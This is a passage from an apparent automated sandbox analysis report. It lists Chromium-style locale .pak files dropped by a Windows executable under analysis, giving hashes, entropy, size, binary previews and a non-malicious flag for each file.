                                                                                                                                                                                                                                                Preview:........s...h.H...i.Y...j.e...k.t...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................%.....-.....4.....;.....B.....C.....D.....I.....r...........................................................&.....(.....,.....W.....f...........................................................!.....9.....C.....K.....\.....n.................................................................%.....3.....D.....b.................................................................#.....+.....<.....t.....~...............................................(.....:.....T.....W.....h.....|.............................................................................N...................................0.....X.....b.....|.....................................................;.....^............................................. .....".....%.....(.3...*.P...+.S...,.q........./.....0.....1.....3.....4.....5.8...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.+...A.a...C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\ro.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):430191
                                                                                                                                                                                                                                                Entropy (8bit):5.460617985170646
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:pqgw32K4aoFt3GgnSYn0vLi5OU6ois2a/7ulqr:pqgVzFt3GgnSY0vLi5OXo3/5r
                                                                                                                                                                                                                                                MD5:99EAA3D101354088379771FD85159DE1
                                                                                                                                                                                                                                                SHA1:A32DB810115D6DCF83A887E71D5B061B5EEFE41F
                                                                                                                                                                                                                                                SHA-256:33F4C20F7910BC3E636BC3BEC78F4807685153242DD4BC77648049772CF47423
                                                                                                                                                                                                                                                SHA-512:C6F87DA1B5C156AA206DC21A9DA3132CBFB0E12E10DA7DC3B60363089DE9E0124BBAD00A233E61325348223FC5953D4F23E46FE47EC8E7CA07702AC73F3FD2E9
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........L...h.....i.....j.....k.$...l./...n.7...o.<...p.I...r.O...s.`...t.i...v.~...w.....y.....z.....|.....}.........................................................................1.....@.....L.....Z.....e.....p...........................................................<.....E.....^.....n.....y...............................................+.....?.....T.................................................................M.....n...................................#.....+.....2.....8.....G.....Y.....n.....u...............................................T.....b.....t.....................................................,.....@.....G.....J.....K.....W.....c.....p.....y.................).....r.....z.............................9.....S.....d.....l.....r.....x.............................3.....V............................................. .....".....%.<...(.S...*.k...+.n...,.........../.....0.....1.....3.....4.'...5.G...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.&...A._...C.....D...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\ru.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):703696
                                                                                                                                                                                                                                                Entropy (8bit):4.836890612319527
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:ckXRY5eXN2hHO3j/jHXzvMBsiA2kkce8P/XyFGGJGswfaZ/LeUFCcYWIkHWajf+F:ck5LZ5w6pF
                                                                                                                                                                                                                                                MD5:AB9902025DCF7D5408BF6377B046272B
                                                                                                                                                                                                                                                SHA1:C9496E5AF3E2A43377290A4883C0555E27B1F10F
                                                                                                                                                                                                                                                SHA-256:983B15DCC31D0E9A3DA78CD6021E5ADD2A3C2247322ADED9454A5D148D127AAE
                                                                                                                                                                                                                                                SHA-512:D255D5F5B6B09AF2CDEC7B9C171EEBB1DE1094CC5B4DDF43A3D4310F8F5F223AC48B8DA97A07764D1B44F1D4A14FE3A0C92A0CE6FE9A4AE9A6B4A342E038F842
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..........S.h.....i.....j.....k.....l.....n.#...o.(...p.5...r.;...s.L...t.U...v.j...w.w...y.}...z.....|.....}.........................................................................:.....W.....t.........................................E.....l.....n.....r...................................(.....A.....K.............................3.....?.....b.......................+.....5.....F.....[.....v.........................................8.....f.........................................*.....K.....e...................................H.....i.............................7.....t.....w...................................B.....I.....L.....M.....].....q...................................>.....J.................#.....e.........................................6.....t.................:.......................#.....7.....G.....w......... .....".....%.....(.....*.....+.....,.........../.....0.....1.]...3.t...4.....5.....6.N...7.r...8.....9.....;.....<.....=.....>.8...?.G...@.f...A.....C.!...D.2...E.j...F...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\sk.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):443094
                                                                                                                                                                                                                                                Entropy (8bit):5.818852266406701
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:vQt/WMWyqiLJcPXPk5ELALWaQlKDEmLFGR:vQYfyqiWPXM5ELALWaQlwdLE
                                                                                                                                                                                                                                                MD5:C6C7396DBFB989F034D50BD053503366
                                                                                                                                                                                                                                                SHA1:089F176B88235CCE5BCA7ABFCC78254E93296D61
                                                                                                                                                                                                                                                SHA-256:439F7D6C23217C965179898754EDCEF8FD1248BDD9B436703BF1FF710701117A
                                                                                                                                                                                                                                                SHA-512:1476963F47B45D2D26536706B7EEBA34CFAE124A3087F7727C4EFE0F19610F94393012CDA462060B1A654827E41F463D7226AFA977654DCD85B27B7F8D1528EB
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........U...h.....i. ...j.,...k.;...l.F...n.N...o.S...p.`...r.f...s.w...t.....v.....w.....y.....z.....|.....}.........................................................................A.....U.....].....o.....z.....................................................9.....R.....q.....w...............................................!.....0.....6.....>.....N....._.....s.....................................................$.....:.....L.....h.......................................................................".....=.....|...............................................*.....9.....a.....d.....v...................................................................................d.......................t.........................................%.....0.....9.....P.....x.............................U.....r.....z........................... .....".....%.....(.....*.6...+.9...,.W.....h.../.....0.....1.....3.....4.....5.....6.D...7.Y...8.p...9.....;.....<.....=.....>.....?.....@.....A.(...C.I...D.T...E.t.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\sl.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):427791
                                                                                                                                                                                                                                                Entropy (8bit):5.48540289392965
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:iyCeC3SMQRB21BPDwY5oEcAVOlJgi/fzxzqg:iTJ6kDwY5oEc0i/fzxt
                                                                                                                                                                                                                                                MD5:D4BD9F20FD29519D6B017067E659442C
                                                                                                                                                                                                                                                SHA1:782283B65102DE4A0A61B901DEA4E52AB6998F22
                                                                                                                                                                                                                                                SHA-256:F33AFA6B8DF235B09B84377FC3C90403C159C87EDD8CD8004B7F6EDD65C85CE6
                                                                                                                                                                                                                                                SHA-512:ADF8D8EC17E8B05771F47B19E8027F88237AD61BCA42995F424C1F5BD6EFA92B23C69D363264714C1550B9CD0D03F66A7CFB792C3FBF9D5C173175B0A8C039DC
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........A...h.....i.....j.....k.....l.....n.!...o.&...p.3...r.9...s.J...t.S...v.h...w.u...y.{...z.....|.....}.....................................................................................*.....:.....B.....R.....y...............................................,.....D.....N.....X.....b.....m.....{.................................................................M.....c.....h.....o...........................................................%.....C.....d.................................................................3.....=.....L.....c.....v.....................................................-.....@.....P.....e.....|.................................................................Y.............................2.....m.....z.....................................................2.....H.....o............................................. .....".....%.....(.P...*.t...+.w...,.........../.....0.....1.....3. ...4.<...5.Q...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.,...A.....C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\sr.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):660194
                                                                                                                                                                                                                                                Entropy (8bit):4.761695251077794
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:oLNvoUKEuNI0I4Ki1eg82ATs+Hc549x4moW037LJzk/k/N:xrnqJc5Axjw
                                                                                                                                                                                                                                                MD5:CBB817A58999D754F99582B72E1AE491
                                                                                                                                                                                                                                                SHA1:6EC3FD06DEE0B1FE5002CB0A4FE8EC533A51F9FD
                                                                                                                                                                                                                                                SHA-256:4BD7E466CB5F5B0A451E1192AA1ABAAF9526855A86D655F94C9CE2183EC80C25
                                                                                                                                                                                                                                                SHA-512:EFEF29CEDB7B08D37F9DF1705D36613F423E994A041B137D5C94D2555319FFB068BB311884C9D4269B0066746DACD508A7D01DF40A8561590461D5F02CB52F8B
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........e...h.,...i.=...j.I...k.X...l.c...n.k...o.p...p.}...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................&.....'.....(.....*.....y............................. .....b.........................................?.....c.........................................?.....V.....o...................................3.....R...................................'.....1.....A.....M.....l.............................J.....................................................4.....@.....c.............................-.....l...................................P.....S.....n.....................................................%.....1.....J.....Y.....o.......................).................&.....n...............................................g.......................H...................................0.....E... .Y...".....%.....(.....*.....+."...,.@.....h.../.....0.....1.....3.....4.R...5.....6.....7.....8.B...9.v...;.....<.....=.....>.....?.....@.....A.....C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\sv.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):385361
                                                                                                                                                                                                                                                Entropy (8bit):5.543491670458518
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:M4pITVzssdlJ9EAjiws8cB7xjpZ/4LLXru9M9SOxDE/xUDvZv5pB5mEgb7:BpIXzJ9V2B1q5/5mz
                                                                                                                                                                                                                                                MD5:502E4A8B3301253ABE27C4FD790FBE90
                                                                                                                                                                                                                                                SHA1:17ABCD7A84DA5F01D12697E0DFFC753FFB49991A
                                                                                                                                                                                                                                                SHA-256:7D72E3ADB35E13EC90F2F4271AD2A9B817A2734DA423D972517F3CFF299165FD
                                                                                                                                                                                                                                                SHA-512:BD270ABAF9344C96B0F63FC8CEC04F0D0AC9FC343AB5A80F5B47E4B13B8B1C0C4B68F19550573A1D965BB18A27EDF29F5DD592944D754B80EA9684DBCEDEA822
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........0...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.*...t.3...v.H...w.U...y.[...z.j...|.p...}...........................................................................................!.....).....2.....M.....U.....`...........................................................&.....-.....:.....c.....t.........................................................../.....;.....C.....U.....e.....i.....s.....z...................................%.....H.....S.....Y.....a.....h.....n.....{.....................................................).....R.....q.....y.................................................................$.....+.........../.....7.....?.....J.....R.....].................".....).....u.................................................................'.....?.....k...............................................".....*... ./...".9...%.[...(.x...*.....+.....,.........../.....0.....1.....3.)...4.P...5.e...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.%...A.Q...C.p.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\sw.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):404460
                                                                                                                                                                                                                                                Entropy (8bit):5.342349721117576
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:icM47G565vqimUwbQuBndO8gJGgnATm5A1vZcsToe4t2ht:iy7GsP5Ar
                                                                                                                                                                                                                                                MD5:39277AE2D91FDC1BD38BEA892B388485
                                                                                                                                                                                                                                                SHA1:FF787FB0156C40478D778B2A6856AD7B469BD7CB
                                                                                                                                                                                                                                                SHA-256:6D6D095A1B39C38C273BE35CD09EB1914BD3A53F05180A3B3EB41A81AE31D5D3
                                                                                                                                                                                                                                                SHA-512:BE2D8FBEDAA957F0C0823E7BEB80DE570EDD0B8E7599CF8F2991DC671BDCBBBE618C15B36705D83BE7B6E9A0D32EC00F519FC8543B548422CA8DCF07C0548AB4
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........Y...h.....i.....j.+...k.:...l.E...n.M...o.R...p._...r.e...s.v...t.....v.....w.....y.....z.....|.....}.........................................................................3.....E.....U.....i.....u...........................................................+.....H.....N.....Z.....m.....z.....................................................$.....8.....E.....p.......................................................................8.....W.....{................................................................. .....[.....m.....{...................................(.....4.....K.....x.....{.........................................................................................+.....\...................................+.....P.....Z.....r.....x...............................................-.....L............................................. .....".....%.....(.7...*.S...+.V...,.t........./.....0.....1.....3.....4.....5.1...6.i...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.9.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\ta.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1043803
                                                                                                                                                                                                                                                Entropy (8bit):4.044068430611977
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:LXNxfy+orMVjLn1ExBlhfg5yzntRMcA2i:rffyrrMFL1cB3g5yzMcA2i
                                                                                                                                                                                                                                                MD5:7006691481966109CCE413F48A349FF2
                                                                                                                                                                                                                                                SHA1:6BD243D753CF66074359ABE28CFAE75BCEDD2D23
                                                                                                                                                                                                                                                SHA-256:24EA4028DA66A293A43D27102012235198F42A1E271FE568C7FD78490A3EE647
                                                                                                                                                                                                                                                SHA-512:E12C0D1792A28BF4885E77185C2A0C5386438F142275B8F77317EB8A5CEE994B3241BB264D9502D60BFBCE9CF8B3B9F605C798D67819259F501719D054083BEA
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........(...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.#...v.8...w.E...y.K...z.Z...|.`...}.r.....z.................................................................M.....{.............................v.......................n.....p.....t.................E.....c.......................;.......................0.....m...............................................$.....`...................................0.....y.................9.............................!.....(.....F.....n.......................3.............................F...........;.....`.......................7.....:.....n.................$.....Z.....................................................E.....#.......................Q.................c.............................#...../.....s.............................B.................*.....?.....d............... .....".....%.}...(.....*.O...+.R...,.p........./.....0.....1.u...3.....4.....5.....6.....7.]...8.....9.....;.'...<.G...=.j...>.....?.....@.....A.9...C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\te.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):965006
                                                                                                                                                                                                                                                Entropy (8bit):4.295544641165274
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:wM9fKUyABW3p1F9SviTlw2cfgvNFOJgr/p54JVQJMwKpaJC28+58XoX0Doq9OyUk:wM9fKU6225jM9h
                                                                                                                                                                                                                                                MD5:F809BF5184935C74C8E7086D34EA306C
                                                                                                                                                                                                                                                SHA1:709AB3DECFF033CF2FA433ECC5892A7AC2E3752E
                                                                                                                                                                                                                                                SHA-256:9BBFA7A9F2116281BF0AF1E8FFB279D1AA97AC3ED9EBC80C3ADE19E922D7E2D4
                                                                                                                                                                                                                                                SHA-512:DE4B14DD6018FDBDF5033ABDA4DA2CB9F5FCF26493788E35D88C07A538B84FDD663EE20255DFD9C1AAC201F0CCE846050D2925C55BF42D4029CB78B057930ACD
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........o...h.@...i.Z...j.f...k.u...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................&...........5.....<.....C.....D.....E.....J.................5.....r.............................#.............................8.....~.......................T.....v.......................x...........#.....A.....c.......................s.......................=...................................V.................v...........>.....s.........................................h.....}.................L.....g.................n.......................:.....c.............................".....R.........................................%.....L.....s.................k...................................1.............................A.....V.....e...........".....r...........P...........>.............................U.....|... .....".....%.....(.q...*.....+.....,.........../.n...0.....1.#...3.F...4.....5.....6.O...7.....8.....9.$...;.Q...<.n...=.....>.....?.....@.....A.Z.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\th.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):811437
                                                                                                                                                                                                                                                Entropy (8bit):4.342029978594925
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:1Jf31Mkgs3s5UWgHLRflsjj8cKGXdlogG0EeuLADh7Kle9dKj753ohP09XAyFHyJ:1Qzt5/5l
                                                                                                                                                                                                                                                MD5:2C41616DFE7FCDB4913CFAFE5D097F95
                                                                                                                                                                                                                                                SHA1:CF7D9E8AD3AA47D683E47F116528C0E4A9A159B0
                                                                                                                                                                                                                                                SHA-256:F11041C48831C93AA11BBF885D330739A33A42DB211DACCF80192668E2186ED3
                                                                                                                                                                                                                                                SHA-512:97329717E11BC63456C56022A7B7F5DA730DA133E3FC7B2CC660D63A955B1A639C556B857C039A004F92E5F35BE61BF33C035155BE0A361E3CD6D87B549DF811
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..........y.h.....i.....j.....k.....l.....o.....p.....r.....s.....t.....v.....w.....y.....z.,...|.2...}.D.....L.....Q.....Y.....d.....l.....q.....y.............................................................................(.....7................................... .....Y.....k.............................=.....\.....z.............................^.................d.....................................................J.....w.......................F.....y...............................................,.....J.....t.................".....y.................E.....c...................................&.....G.....d.....................................................;...........P.................n.................j.........................................9.......................C.....{...........5.....>.....S..................... .....".....%.?...(.....*.....+.....,.........../.U...0.h...1.....3.....4.V...5.....6.)...7.J...8.....9.....;.....<.....=.....>.X...?.....@.....A.....C. ...D.<...E.o.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\tr.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):411446
                                                                                                                                                                                                                                                Entropy (8bit):5.6133974766805546
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:y1MAG26Pl1kY1bkQq/7I5NsA7WGgeh5X/0+gi1ZavXEAQwiBvVGI:9j2Yle66s5775X/R
                                                                                                                                                                                                                                                MD5:3A858619502C68D5F7DE599060F96DB9
                                                                                                                                                                                                                                                SHA1:80A66D9B5F1E04CDA19493FFC4A2F070200E0B62
                                                                                                                                                                                                                                                SHA-256:D81F28F69DA0036F9D77242B2A58B4A76F0D5C54B3E26EE96872AC54D7ABB841
                                                                                                                                                                                                                                                SHA-512:39A7EC0DFE62BCB3F69CE40100E952517B5123F70C70B77B4C9BE3D98296772F10D3083276BC43E1DB66ED4D9BFA385A458E829CA2A7D570825D7A69E8FBB5F4
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........}...h.\...i.m...j.w...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.......".....'...../.....7.....?.....F.....M.....T.....U.....V.....X...........................................................L.....f.....h.....l.....................................................:.....O.....[.....~............................................... .....$.....,.....9.....N.....P.....S.....Z.....q.....................................................!.....(...../.....D.....X.....{.........................................3.....V.....e.....q.....|.............................................................................).....2.....9.....D.....L.....[.................!.....'.....o.................................................................9.....X.........................................!.....0.....G.....M... .X...".m...%.....(.....*.....+.....,.........../.....0.%...1.Z...3.g...4.}...5.....6.....7.....8.....9.2...;.B...<.M...=.Z...>.m...?.v...@.....A.....C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\uk.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):705061
                                                                                                                                                                                                                                                Entropy (8bit):4.868598768447113
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:wrccq9nty/KiDswU1nbx05kB3IjUUmEg5KuoLNiXElqnOyh:HGX35EEK
                                                                                                                                                                                                                                                MD5:EE70E9F3557B9C8C67BFB8DFCB51384D
                                                                                                                                                                                                                                                SHA1:FC4DFC35CDE1A00F97EEFE5E0A2B9B9C0149751E
                                                                                                                                                                                                                                                SHA-256:54324671A161F6D67C790BFD29349DB2E2D21F5012DC97E891F8F5268BDF7E22
                                                                                                                                                                                                                                                SHA-512:F4E1DA71CB0485851E8EBCD5D5CF971961737AD238353453DB938B4A82A68A6BBAF3DE7553F0FF1F915A0E6640A3E54F5368D9154B0A4AD38E439F5808C05B9F
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.,...|.2...}.D.....L.....Q.....Y.....a.....i.....p.....w.....~...................................!.....K.....d.....m.............................P.....R.....V.....~...................................%.....F.........................................1.....S.....y.............................!.....8.....Q.....[.....k.....{.............................A.....n.........................................(.....H.....l.....x.......................&.....=.........................................A.....D.....i.............................'...........1.....2.....B.....T.....f.....y.............................+.................$.....~...................................$.....R.......................<.....w.............................E.....u......... .....".....%.....(.....*.{...+.~...,.........../.....0. ...1.....3.....4.....5.....6.Z...7.}...8.....9.....;.....<.....=.....>.I...?.X...@.y...A.....C.1...D.J.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\ur.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):617109
                                                                                                                                                                                                                                                Entropy (8bit):5.143761316646653
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:LbeI8PzGSEiyqkAXsA5rzTExbWW7mQYrjuUco/9NjjFpvIx:LbDwz5qWK
                                                                                                                                                                                                                                                MD5:FF0A23974AEF88AFC86ECC806DBF1D60
                                                                                                                                                                                                                                                SHA1:E7BAE97CBB8692A0D106644DFAA9B7D7EA6FCEF0
                                                                                                                                                                                                                                                SHA-256:F245AB242AAFEEF37DB736C780476534FAD0706AA66DCB8B6B8CD181B4778385
                                                                                                                                                                                                                                                SHA-512:AABE8160FAC7E0EB8E8EB80963FE995FA4A802147D1B8F605BC0FE3F8E2474463C1D313471C11C85EB5578112232FDC8E89B8A6D43DBE38A328538FF30A78D08
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........S...h.....i.....j.....k.+...l.6...n.>...o.C...p.P...r.V...s.g...t.p...v.....w.....y.....z.....|.....}.........................................................................v...............................................!.....c...............................................3.....Z.....g.............................:.....a.....k.....~.......................+.....\.....f.....y.........................................(.....J.....x.......................7.....F.....N.....U.....i...................................P.....c.....}.................(.....X.....g...............................................!.....?.....].....~.....................................................W.................C.............................!.....=.....C.....Q.....e.....k.......................^.......................+.....7.....L.....e............... .....".....%.....(.....*.K...+.N...,.l........./.....0.....1.....3.1...4.^...5.....6.....7.....8.S...9.l...;.....<.....=.....>.....?.....@.....A.....C.W.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\vi.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):488196
                                                                                                                                                                                                                                                Entropy (8bit):5.7988900625034185
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:gzLBn6cDgszBm0JXbwS1LcxzIJj758+UIi0+UELbzi830l:gpdDgsz00JrwSNizS5Hti0+UUvi830l
                                                                                                                                                                                                                                                MD5:3FE6F90F1F990AED508DEDA3810CE8C2
                                                                                                                                                                                                                                                SHA1:3B86F00666D55E984B4ACA1A5E8319FFA8F411FF
                                                                                                                                                                                                                                                SHA-256:5EEBB23221AEBCF0BE01BFC2695F7DD35B17F6769BE1E28E5610D35C9717854B
                                                                                                                                                                                                                                                SHA-512:9AA9D55F112C8B32AA636086CFD2161D97EA313CAC1A44101014128124A03504C992AC8EFD265ABA4E91787AEF7134A14507A600F5EC96FF82DF950A8883828C
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............h.j...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.!...}.3.....;.....@.....H.....P.....X....._.....f.....m.....n.....o.....q...............................................(.....2.....Y.....x.....z.....~................................... .....+.....D.....t...........................................................5.....L.....V.....a.....r...........................................................T.....q.................................................................o...................................<.....P.....[.....i.....|.........................................#.....:.....A.....D.....E.....N.....W.....c.....m.......................4.....C.....................................................2.....=....._.............................4.....i....................................... .....".....%.....(.E...*.j...+.m...,.........../.....0.....1.....3.....4.*...5.?...6.y...7.....8.....9.....;.....<.....=.....>.....?.'...@.I...A.u...C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\zh-CN.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):354097
                                                                                                                                                                                                                                                Entropy (8bit):6.680890808929274
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:gchsAAfyrtJw99jEaZx79+vKK4/+kTme5zBNCJ7GAmlv:gAAfyrtJAoaZ+vKK4/ye5zBNCJ7C
                                                                                                                                                                                                                                                MD5:20F315D38E3B2EDC5832931E7770B62A
                                                                                                                                                                                                                                                SHA1:2390BD585DEC1E884873454BB98B6F1467DCF7BB
                                                                                                                                                                                                                                                SHA-256:53A803724BBF2E7F40AAB860325C348F786EECA1EA5CA39A76B4C4A616E3233F
                                                                                                                                                                                                                                                SHA-512:C338E241DE3561707C7C275B7D6E0FB16185A8CD7112057C08B74FFCE122148EF693FE310C839FF93F102726A78E61DE3E68C8E324F445A07A98EE9C4FDD4E13
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..........?.h.....i.....j.....k.&...l.-...m.5...o.;...p.@...r.F...s.W...t.`...v.u...w.....|.....}...............................................................................%.....1.....C.....I.....\.....s.....y.....................................................#...../.....G.....S....._.................................................................+.....:.....@.....I.....[.....m.....s.....y...............................................$.....0.....6.....>.....E.....Q.....].....i............................................... .....D.....b.....q.....w............................................................................. .....5.....>.....G.....M.....W.....a.............................K.....].....o.................................................................,.....>.....g............................................. .....".....%.....(.)...*.>...+.A...,.n........./.....0.....1.....3.....4.....5.....6.N...7.c...8.x...9.....;.....<.....=.....>.....?.....@.....A.P...C.w...D...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\zh-TW.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):350032
                                                                                                                                                                                                                                                Entropy (8bit):6.69437398216595
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:BiwxICJkrCU2JLuRyMD+4qz5MHzCtMkZ/9ybT1:BiyS0pMD+4qz5MHzd6/o
                                                                                                                                                                                                                                                MD5:524711882CBFB5B95A63EF48F884CFF0
                                                                                                                                                                                                                                                SHA1:1078037687CFC5D038EEB8B63D295239E0EDC47A
                                                                                                                                                                                                                                                SHA-256:9E16499CD96A155D410C8DF4C812C52FF2A750F8C4DB87FD891C1E58C1428C78
